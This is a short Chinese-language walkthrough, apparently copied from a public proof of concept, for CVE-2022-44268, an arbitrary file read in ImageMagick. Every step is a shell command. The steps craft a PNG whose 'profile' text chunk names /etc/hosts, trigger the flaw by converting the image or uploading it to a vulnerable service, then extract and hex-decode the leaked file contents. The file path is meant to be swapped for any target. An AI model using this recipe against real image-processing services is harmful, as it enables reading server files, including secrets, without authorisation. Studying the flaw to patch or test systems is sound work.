1. $ apt-get install pngcrush imagemagick exiftool exiv2 -y
在下面更改您要阅读的文件名:
2. $ pngcrush -text a "profile" "/etc/hosts" vjp.png
确认一切正常
3. $ exiv2 -pS pngout.png
通过将图像转换或上传到易受攻击的服务来触发 PoC:
4. $ convert pngout.png gopro.png
查看文件内容已读:
5. $ identify -verbose gopro.png
解密内容:
6. $ python3 -c 'print(bytes.fromhex("23202f6574632f686f7374730a3132372e302e302e31096c6f63616c686f73740a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3109096c6f63616c686f7374206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666630323a3a3109096970362d616c6c6e6f6465730a666630323a3a3209096970362d616c6c726f75746572730a6475636e740a").decode("utf-8"))'
https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC